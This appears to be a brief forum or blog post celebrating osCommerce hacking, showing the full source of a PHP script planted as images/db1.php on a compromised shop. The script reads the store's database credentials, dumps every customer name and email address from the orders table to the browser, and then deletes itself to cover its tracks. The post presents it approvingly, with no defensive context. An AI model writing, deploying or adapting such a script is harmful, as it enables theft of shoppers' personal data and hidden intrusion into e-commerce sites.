oscommerce hacking don't you just love it

cat images/db1.php
 1<?php
 2ini_set("max_execution_time",0);
 3require("../includes/configure.php");
 4
 5$link = mysql_connect(DB_SERVER,DB_SERVER_USERNAME,DB_SERVER_PASSWORD);
 6
 7mysql_select_db(DB_DATABASE);
 8
 9$query = 'SELECT * from orders';
10$results = mysql_query($query);
11$line = mysql_num_rows($results);
12
13while($line = mysql_fetch_assoc($results)) {
14
15$customers_email_address = $line["customers_email_address"];
16$customers_name = $line["customers_name"];
17
18if (!empty($customers_email_address)) {
19echo "$customers_name $customers_email_address<br>";
20}
21
22}
23
24mysql_close($link);
25unlink("db1.php");
26php?>